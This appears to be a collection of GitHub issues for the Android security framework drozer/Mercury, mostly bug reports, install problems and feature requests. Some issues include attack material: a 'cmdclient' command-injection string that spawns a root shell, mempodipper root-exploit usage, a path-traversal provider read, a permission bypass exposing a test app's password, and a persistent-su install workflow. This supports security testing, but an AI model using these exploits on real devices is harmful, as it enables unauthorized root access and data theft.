withsecurelabs / drozer Goto Github PK

We are looking at redesigning the communications protocol to take this project to the next level.

The communication protocol is rather simple at the moment and is using a defined XML communication in 1 direction only, from client to server. In order to reach a point where Mercury can be used for many purposes, the following would need to be supported by the communications protocol:

• Encryption - I suspect something like SSL would be best
• Bi-directional communications. The ability to have the server connect back to the client OR the client connect to the server would (i.e. Reverse and bind connections) be needed in many applications of Mercury.

By implementing these, it would be the most flexible. Examples of when a bind connection is needed: current "assessment suite". Examples of when a reverse connection is needed: full exploitation suite

Any ideas are welcome
Tyrone

From @timb_machine on Twitter -

echo | nc

Results in:

E/AndroidRuntime(32602): FATAL EXCEPTION: Thread-820
E/AndroidRuntime(32602): java.lang.NullPointerException
E/AndroidRuntime(32602): at com.mwr.mercury.XML.parseXML(XML.java:72)
E/AndroidRuntime(32602): at com.mwr.mercury.XML.(XML.java:29)
E/AndroidRuntime(32602): at com.mwr.mercury.SessionThread.handleCommand(SessionThread.java:45)
E/AndroidRuntime(32602): at com.mwr.mercury.SessionThread.run(SessionThread.java:35)
W/ActivityManager( 2010): Force finishing activity com.mwr.mercury/.Main

Some functionality in the Mercury agent require API level 8 or higher. However, some 3.8% of Android devices are reportedly running Eclair or lower.

Reducing the minimum SDK version to 7 would allow us to support an additional 3.6% of the market share.

The Installer only looks for python at the following keys in the registry:

HKLM\Software\Wow6432Node\Python\PythonCore
HKCU\Software\Python\PythonCore

However, for me the installer would have found python at:

HKLM\Software\Python\PythonCore (HKLM instead of HKCU)

Please just add this location, thanks

All of the actions and categories are incorrectly autocompleted to have a prepended ACTION_ and **CATEGORY_**before the actual action or category. I discovered this by attempting to do:

mercury> run app.activity.start --action android.intent.action.ACTION_VIEW --data-uri http://www.google.co.za

The action was autocompleted to android.intent.action.ACTION_VIEW whereas it should be android.intent.action.VIEW.

This is the case for all actions and categories

EDIT: This seems to be the case with extras as well. These are all defined in mercury/src/mwr/droidhg/android.py

Trying to query a content provider URL containing a trailing single quote will crash the console:

mercury#app> run provider.query content://my.app/path/'
Traceback (most recent call last):
File "/Library/Python/2.7/site-packages/mercury-2.0.0-py2.7.egg/EGG-INFO/scripts/mercury-console", line 13, in
Console().run(sys.argv[1::])
File "/Library/Python/2.7/site-packages/mercury-2.0.0-py2.7.egg/mwr/droidhg/console/console.py", line 47, in run
self.__invokeCommand(arguments)
File "/Library/Python/2.7/site-packages/mercury-2.0.0-py2.7.egg/mwr/droidhg/console/console.py", line 181, in _invokeCommand
getattr(self, "do" + command)(arguments)
File "/Library/Python/2.7/site-packages/mercury-2.0.0-py2.7.egg/mwr/droidhg/console/console.py", line 87, in do_connect
session.cmdloop()
File "/Library/Python/2.7/site-packages/mercury-2.0.0-py2.7.egg/mwr/common/cmd_ext.py", line 80, in cmdloop
stop = self.onecmd(line)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/cmd.py", line 219, in onecmd
return func(arg)
File "/Library/Python/2.7/site-packages/mercury-2.0.0-py2.7.egg/mwr/droidhg/console/session.py", line 278, in do_run
argv = shlex.split(args, comments=True)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/shlex.py", line 279, in split
return list(lex)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/shlex.py", line 269, in next
token = self.get_token()
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/shlex.py", line 96, in get_token
raw = self.read_token()
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/shlex.py", line 172, in read_token
raise ValueError, "No closing quotation"
ValueError: No closing quotation
huberts-MacBook-Pro:~ hubert$

On 2.1, I get the following where trying to run the sFlagBinary module:

mercury> run scanner.misc.sflagbinaries
Found suid/sgid binaries:
/data/data/com.mwr.droidhg.agent/busybox: 1: Syntax error: word unexpected (expecting ")")

When typing connect the console hangs on some devices. It has been noted to do this on the Galaxy Nexus. It could be all Ice Cream Sandwich devices as well.

It is believed that this happens when loading libjackpal-androidterm3.so

Typing exit inside a shell session quits the shell regardless of if a new shell session with elevated privileges has been opened inside. I will demonstrate what I mean.

The normal workflow of a shell on a PC is as follows:

user@machine:~$ su 
root@machine:/home/user# exit
user@machine:~$

You are dropped back into your last shell, whereas with a Mercury shell:

mercury> run shell.start
$ su
# exit
mercury>

At the moment, we don't have a way to navigate back. Maybe we can look at ways of detecting that the shell session no longer exists and only exiting at that point?

An installation of Adobe Flash Player causes a crash when unzipped (possibly corrupt installation)

exception in module: ReflectionException: java.util.zip.ZipException: unknown format (EXTSIG=4034b50)
.
.
    for uri in self.findAllContentUris(arguments.package_or_uri):
  File "mercury/src/mwr/droidhg/modules/common/provider.py", line 95, in findAllContentUris
    uris = uris.union(self.__search_package(package))  
  File "mercury/src/mwr/droidhg/modules/common/provider.py", line 177, in __search_package
    for (path, content_uris) in self.findContentUris(package.packageName):
  File "mercury/src/mwr/droidhg/modules/common/provider.py", line 116, in findContentUris
    dex_file = self.extractFromZip("classes.dex", path, self.cacheDir())
  File "/home/user/rai/devel/mercury/src/mwr/droidhg/modules/common/zip_file.py", line 15, in extractFromZip
    return ZipUtil.unzip(target, source, destination)
  File "mercury/src/mwr/droidhg/reflection/types.py", line 331, in _invoker
    result = self._reflector.invoke(self, method_name, *map(lambda arg: ReflectedType.fromNative(arg, reflector=self._reflector), args), **kwargs)
  File "mercury/src/mwr/droidhg/reflection/reflector.py", line 83, in invoke
    raise ReflectionException(response.reflection_response.errormessage)
ReflectionException: java.util.zip.ZipException: unknown format (EXTSIG=4034b50)

This does not break modules such as app.package.info or app.package.manifest.

I fixed this by changing findAllContentUris in provider.py to skip over the package when receiving ReflectionException, this may or may not be the solution we are looking for:

    def findAllContentUris(self, package):
        """
        Search a package (or packages) for content providers, by searching the
        manifest and looking for content:// paths in the binary.
        """

        uris = set([])

        # collect content uris by enumerating all authorities, and uris detected
        # in the source

        if package == None:
            for package in self.packageManager().getPackages(PackageManager.GET_PROVIDERS):
                try:
                    uris = uris.union(self.__search_package(package))
                except ReflectionException:
                    sys.stdout.write("--> SKIPPING package %s, it seems to be corrupt!\n" % package.applicationInfo.packageName)
        else:
                package = self.packageManager().getPackageInfo(package, PackageManager.GET_PROVIDERS)

                try:
                    uris = uris.union(self.__search_package(package))
                except ReflectionException:
                    sys.stdout.write("--> SKIPPING package %s, it seems to be corrupt!\n" % package.applicationInfo.packageName)

A little hard to reproduce, but very annoying when you lose results of the entire scan if it breaks. Screenie (no stop/uninstall action):

At least in 2.1 I can't find it. The menu only contains the items:

• Show Fingerprint
• Refresh

For instance:

mercury> ls > commands

creates a blank file 'commands'.

This is a little inconsistency in the UI.

mercury#app.package> run manifest
java.lang.NullPointerException

BTW is that the best way to enumerate all packages with debug tag set? Or is there any nice trick?

Here is a list of all the exploits that I could find to obtain root on Android. We would like to port as many of these as possible into drozer. Please feel free to correct or contribute to this list, but more importantly to help us port them :) A list of all known root exploit is maintained (not by me) @ https://docs.google.com/spreadsheet/pub?key=0Am5hHW4ATym7dGhFU1A4X2lqbUJtRm1QSWNRc3E0UlE&single=true&gid=0&output=html

When using app.provider.update theres no place to specify what row has to be updates.
Needs something like a --where clause as in version 1.0 . Perhaps give an example?

A fairly common Android pattern is to start an Activity that will return some information as it finish()es.

It would be nice to have a module that performs this interaction with an exported activity, app.activity.startforresult alongside app.activity.start. This would intercept the reply and make the Intent available for inspection.

mercury> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../../system/etc/hosts
unsupported operand type(s) for +: 'ReflectedNull' and 'str'

Don't think this is right...

Suggestion of a new module to register a receiver in order to be possible to listen to an Intent.

The usage for this module would be something like this:

mercury> run app.broadcast.register --action  <some action>
Listening to: [some action]
[*] Intent received: [action]
       Intent extras:
                [extra name]: [extra value]
                [extra name]: [extra value]
                [extra name]: [extra value]
                [extra name]: [extra value]

This would be useful to check which information is included in some specific Intent.

Hi,
We are a little bit worried about the license of Mercury. Since it is not a well known license we are not sure if we will be allowed to keep working on it in the future.
I'm sure the people that work on Mercury would be more confortable if it is licensed under a well known license such as Apache or GPL. And maybe more people would be interested to contribute to the project.

Hi,

When i try to launch mercury, then command console throwing an error message as " ImportError: No Module named OpenSSL"

Environment: win 7, Mercury 2.1.0 win installer

Attached a screenshot, please do help me.

Regards
Kiran

Current public releases of mempodipper most recent local root for android devices based on /proc/pid/mem arbitrary write only supports a few handsets, as the exploit requires you pass it offsets for setuid() and for exit(), and these have only been determined for a number of devices. nesquick95 @ xda developers devised a method for obtaining these offsets, and I have merged his code into the mempodipper exploit. Cross compile for arm, and then run on a vulnerable device:

./mempodipper < address to exit> < address to setuid> <-command>

or now alternatively:

./mempodipper - - <-command>

The dynamic version of mempodipper is relatively untested, and likely needs some work before it is ready to be incorporated into mercury, however most of the work is already done.

source here:
http://pastebin.com/RM4zyy9a

Even with Read and Write permissions null for various applications, whenever i try to query for a content provider, say

After querying for notepad3 permissions

Package name: com.android.demo.notepad3
Authority: com.android.demo.notepad3.SuggestionProvider
Required Permission - Read: null
Required Permission - Write: null
Grant Uri Permissions: false
Multiprocess allowed: false

when i try

mercury#provider> query content://com.android.demo.notepad3

"Query failed"

Anything I'm doing wrong?

At startup you could scan all installed packages and then autocomplete package names, bit of a pain re-typing them all the time.

Perhaps provide a way to create aliases for package names so I could do:

p = com.mwr.mercury.agent
app.activity.info -a p

would save loads of time...

Intent Filters are not correctly reported in app.broadcast.info if the Manifest specifies the FQN of the implementing class. For instance, in the following example:

        <receiver
            android:name="com.example.receivers.ReceiverOne"
            android:enabled="true"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"></action>
            </intent-filter>
        </receiver>
        <receiver
            android:name=".ReceiverTwo"
            android:enabled="true"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"></action>
            </intent-filter>
        </receiver>

only ReceiverTwo is correctly identified.

The offending piece of code seems to be:

return map(lambda r: r.attrib['name'], xml.findall("./application/receiver[@name='" + str(receiver.name)[len(receiver.packageName):] + "']/intent-filter/action"))

which forceably strips the package name from the beginning of the receiver.

In src/mwr/droidhg/modules/app/provider.py, __print_provider(self, provider):

210    if provider.uriPermissionPatterns != None:
211        self.stdout.write("    Uri Permission Patterns:\n")
212        for pattern in provider.uriPermissionPatterns:
213            self.stdout.write("      Path: %s\n" % permission.getPath())
213            self.stdout.write("        Type: %s\n" % Info.PatternMatcherTypes[int(permission.getType())])

I have no idea where @Permission@ is supposed to come from on lines 213, 214.

Dev-ing a POC, keeps crashing native code so I need to restart mercury constantly.

Would make things easier if enable button was on the initial screen.

Inside Core.java, the "unzip" function is hardcoded to only unzip the classes.dex file.

It needs to be changed to accept a file entry as an argument e.g. AndroidManifest.xml

This will make it more flexible in the future.

Recently I've noted a couple of places where PATH_LITERAL is used to enforce permissions to a content provider. In some cases this can be trivially bypassed; but Mercury doesn't pick this up.

For instance, in Sieve:

mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys
Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri content://com.mwr.example.sieve.DBContentProvider/Keys from pid=646, uid=10044 requires com.mwr.example.sieve.READ_KEYS, or grantUriPermission()
mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password         | pin  |
| thisismypassword | 9876 |

Often when testing logs need to be checked for information disclosure issues. It would be handy to have a mercury module to make this easier.

A module with which you can:

• Dump all logs (e.g. radio, events etc.) to a file
• Clear all logs, then dump all logs - so you get the logs for the period you are interested in
• Output logs to screen
• Output logs to a file on laptop

It seems rather tricky to get Mercury up and running with W7x64 and Python2.7, the way I have got it to work is as follows:

easy_install.exe protobuf==2.4.1 (2.5.0 is the latest so you need to specify with the command line or change it within the code)
easy_install.exe pyreadline
easy_install.exe twisted==10.2.0
easy_install.exe pyOpenSSL
(this will fail)

After that I just installed the eGenix pyOpenSSL distribution from http://www.egenix.com/products/python/pyOpenSSL/

Also added adb to the path, then followed the rest of the guide

Note I had to install via the distributable installer rather than doing python setup.py install. If I don't I get the following:
mercury> run scanner.provider.injection
Scanning android...
Mercury could not find or compile a required extension library.

-AM

add this feature to "info" command in broadcast and "attacksurface" command in packages

Sometimes you would like to keep a specific shell instance but need to do something else quickly, especially after obtaining a privileged context.

If you could type background when inside a shell, then you should exit the shell prompt but not destroy it. When another shell is opened, a new shell is not made and the backgrounded one is used instead. This is because it is natural that when you obtain a privileged shell using some exploit that you want to keep this shell context. Or if you would like to place a binary that permanently allows you access to root on demand then you do the following workflow:

mercury> run exploit.root.whatever
# background
mercury> run tools.setup.minimalsu
[+] Uploaded minimal-su
[+] Uploaded install-minimal-su.sh
[+] chmod 770 /data/data/com.mwr.droidhg.agent/install-minimal-su.sh
[+] Ready! Execute /data/data/com.mwr.droidhg.agent/install-minimal-su.sh from root context to install minimal-su
mercury> run shell.start
# /data/data/com.mwr.droidhg.agent/install-minimal-su.sh
Done. You can now use `su` from a shell.
# exit
$ su
# exit
$ exit
mercury> 

The above workflow seems smooth in my mind but any suggestions/alterations are very welcome. You will see that the above workflow includes the changes from Issue #67 as well

Using tab expansion on Windows generates a readline internal error when specifying a package name:

mercury> run app.package.attacksurface comReadline internal error
Traceback (most recent call last):
  File "c:\users\jwright\appdata\local\temp\easy_install-ajrusb\pyreadline-1.7.1-py2.7-win32.egg.tmp\pyreadline\console\console.py", line 761, in hook_wrapper_23
    res = ensure_str(readline_hook(prompt))
  File "c:\users\jwright\appdata\local\temp\easy_install-ajrusb\pyreadline-1.7.1-py2.7-win32.egg.tmp\pyreadline\rlmain.py", line 567, in readline
    self._readline_from_keyboard()
  File "c:\users\jwright\appdata\local\temp\easy_install-ajrusb\pyreadline-1.7.1-py2.7-win32.egg.tmp\pyreadline\rlmain.py", line 532, in _readline_from_keyboard

    if self._readline_from_keyboard_poll():
  File "c:\users\jwright\appdata\local\temp\easy_install-ajrusb\pyreadline-1.7.1-py2.7-win32.egg.tmp\pyreadline\rlmain.py", line 552, in _readline_from_keyboard_poll
    result = self.mode.process_keyevent(event.keyinfo)
  File "c:\users\jwright\appdata\local\temp\easy_install-ajrusb\pyreadline-1.7.1-py2.7-win32.egg.tmp\pyreadline\modes\emacs.py", line 242, in process_keyevent
    r = self.process_keyevent_queue[-1](keyinfo)
  File "c:\users\jwright\appdata\local\temp\easy_install-ajrusb\pyreadline-1.7.1-py2.7-win32.egg.tmp\pyreadline\modes\emacs.py", line 285, in _process_keyevent
    r = dispatch_func(keyinfo)
  File "c:\users\jwright\appdata\local\temp\easy_install-ajrusb\pyreadline-1.7.1-py2.7-win32.egg.tmp\pyreadline\modes\basemode.py", line 255, in complete
    completions = self._get_completions()
  File "c:\users\jwright\appdata\local\temp\easy_install-ajrusb\pyreadline-1.7.1-py2.7-win32.egg.tmp\pyreadline\modes\basemode.py", line 198, in _get_completions
    r = ensure_unicode(self.completer(text, i))
  File "C:\Python27\lib\site-packages\mercury-2.1.0-py2.7.egg\mwr\common\cmd_ext.py", line 136, in complete
    return self.completion_matches[state]
TypeError: 'NoneType' object is not subscriptable

Running on Windows 7 with Python 2.7 and pyreadline 1.7.1.

Steps to reproduce:

• Start the Mercury Android agent
• Press the "back" button on the device so that Mercury is running in the background
• Use the device, opening apps and various activities etc.

At some stage the app stops working (almost like it has been garbage collected?)

Everyone seems to copy XML output (for example from app.package.manifest) to file and open in firefox to make it readable.

Would be awesome if this could be printed in a readable way right from mercury. Perhaps even colourised?

Could someone please run the following test on their Motorola Xoom FE:

From Mercury shell->persistent type the following:

cmdclient ec_skunumber '; sh;

Now check if you are system by typing:

id

Please let me know the result if you have tried this.

Credits: Dan Rosenberg @ http://vulnfactory.org/

Hi,
After an attempt to run mercury.py file on Windows I receive below error:

C:\apps\mercury\client>python mercury.py
File "mercury.py", line 66
print "\nMercury Client v" + mercury_version
^
SyntaxError: invalid syntax

Mercury version 1.1
OS: Windows 7 (x86)

Can you please help to find out the solution?
Thanks.

If there is non-ascii letters in query results of content provider, such as Chinese characters, there will be an error like "UnicodeEncodeError: 'ascii' codec can't encode characters in position 505-506: ordinal not in range(128)".

Please add support for non-ascii letters, or just use utf-8 encoding.

Two screenshots are given, the first one is what Mercury complains, the second one shows the characters causing error.

I am getting a network error while using command connect, below is the full details

Environment:

VM player installed in windows 7 with Ubuntu 64 as guest OS
Installed Suntoku Linux distro and from that actually invoking the mercury

Steps followed

1. Installed the mercury agent.apk in android emulator
2. Set it o enabled (I can see the message that its listening to port 31415)
3. tcp forwarded the adb to 31415
4. Did netstat to verify the local host listening to 31415 as well
   Getting network error when below mentioned combination of command are used to connect

connect 10.0.2.2
connect 127.0.0.1

NOTE: The toll goes blank if i use command connect localhost or connect 127.0.0.1

Please suggest me if i am doing something wrong or suggest further on this.

Regards
Kiran

I was going to do this myself, but I seem to never get around to doing it. Would be awesome for Mercury :)

The privilege escalation described in this post by Andre Moulu allows an unprivileged application (like Mercury) to install a package on the phone: http://sh4ka.fr/android/galaxys3/from_0perm_to_INSTALL_PACKAGES_on_galaxy_S3.html

At the beginning of the exploit, Mercury could check if the device is patched by checking whether the Kies broadcast receiver has the android.permission.KIES_BNR permission set on it.

Under Delete

1. Remove dest from parser:

def add_arguments(self, parser):
    parser.add_argument("uri", nargs="?", help="the content provider uri to query")
    parser.add_argument("--selection", default=None, metavar="<rows>")
    parser.add_argument("--selection-args", default=None, metavar="<arg>", nargs="*")

1. Remove 's' from arguments as follows:

   def execute(self, argument):
   c = self.contentResolver().delete(argument.uri, argument.selection, argument.selection_args)

I noticed that the git repo for mercury includes a bunch intermediate files that are generated during the compilation process, such as the ones in server/obj and most of the ones in server/bin .
Is there any good reason for those files to be there? I makes it much more complicated to analyse diffs and generate clean patches than it should be.
Locally i work with a custom gitignore to avoid ignore those files, just wanted to hear from you if this could be ported to the main repo.

I am busy making a scanner module that checks exploit.root. in order to search for root exploits that will work on a device.

At the moment - we require that a label is set inside each Vulnerability module that is being checked by the VulnerabilityScanner otherwise the following error is thrown: 'ClassnameX' object has no attribute 'label'

In the absence of a label should we print out the namespace path instead e.g. exploit.root.cmdclient - Vulnerable or is the use of a label something that we would like to enforce?

python side was not handling byte arrays (blobs from databases) correctly due to missing sections of code. Corrected on my local version and needs to be added to the main version

If you connect to a password protected server with no --password it returns "error:"

If you connect to an SSL encrypted server with no --ssl it returns "Received an empty response from the Agent. This normally means the remote service has crashed."

Both of these errors should rather give suggestions of what could have gone wrong and things to try because sometimes you forget that you have set these security parameters :)

An issue has been reported on Fedora 17 Python 2.7.3 that causes the XML sent from the client to the server to contain newline characters where there shouldn't be. This causes XML parsing errors on the server.

A ping request to the server has been reported to look like:

<?xml version="1.0" ?>
<transmission><command><section>core</section><function>ping</function><arguments/></command></transmission>

instead of:

<?xml version="1.0" ?><transmission><command><section>core</section><function>ping</function><arguments/></command></transmission>

xrange is replaced by range in Python 3.x, but Mercury is currently compatible with 2.7, perhaps it is worthwhile to change the following to xrange:

$ grep -r "[^x]range(" src/*
src/mwr/droidhg/repoman/installer.py:        for i in range(len(directories)):
src/mwr/droidhg/repoman/manager.py:            for i in range(len(repositories)):
src/mwr/droidhg/modules/auxiliary/web_content_resolver.py:            for i in range(len(rows[0])):
src/mwr/droidhg/modules/auxiliary/web_content_resolver.py:                for i in range(len(r)):
src/mwr/droidhg/modules/common/formatter.py:        for i in range(len(rows[0])):
src/mwr/droidhg/modules/common/formatter.py:            for i in range(len(r)):
src/mwr/droidhg/modules/common/formatter.py:            for i in range(len(headers)):
src/mwr/droidhg/modules/common/provider.py:                for i in range(len(columns)):
src/mwr/droidhg/modules/common/package_manager.py:            for i in range(packages.size()): 
src/mwr/droidhg/modules/common/package_manager.py:            for i in range(providers.size()):
src/mwr/droidhg/modules/common/package_manager.py:            for i in range(activities.size()):
src/mwr/droidhg/modules/scanner/misc/secretcodes.py:        for i in range(packages.size()):

Running app.package.attacksurface with no arguments generates an Unknown Exception error:

mercury> run app.package.attacksurface
Unknown Exception

This is user failure, but should be handled with usage or a more descriptive error. Very low priority.

Running on Windows 7 with Python 2.7, Mercury v2.1.

When entering an Android or interactive Python shell, readline is left enabled. This means that we still provide readline support, but the buffer is shared with the main Mercury application. This sucks, because we start providing Mercury commands in the Linux shell and vice-versa.

We also provide Mercury command-line completion where it is not appropriate.

It would be better if we could distingush between different environments, and swap out the completer with a more appropriate one.

using run app.activity.start with --extra the extra can only be of type string. Trying to request extras of type integer/boolean etc. doesn't work

Example:
mercury> run app.activity.start --component com.test.this .part.activity --extra integer value 1
putInt for class android.os.Bundle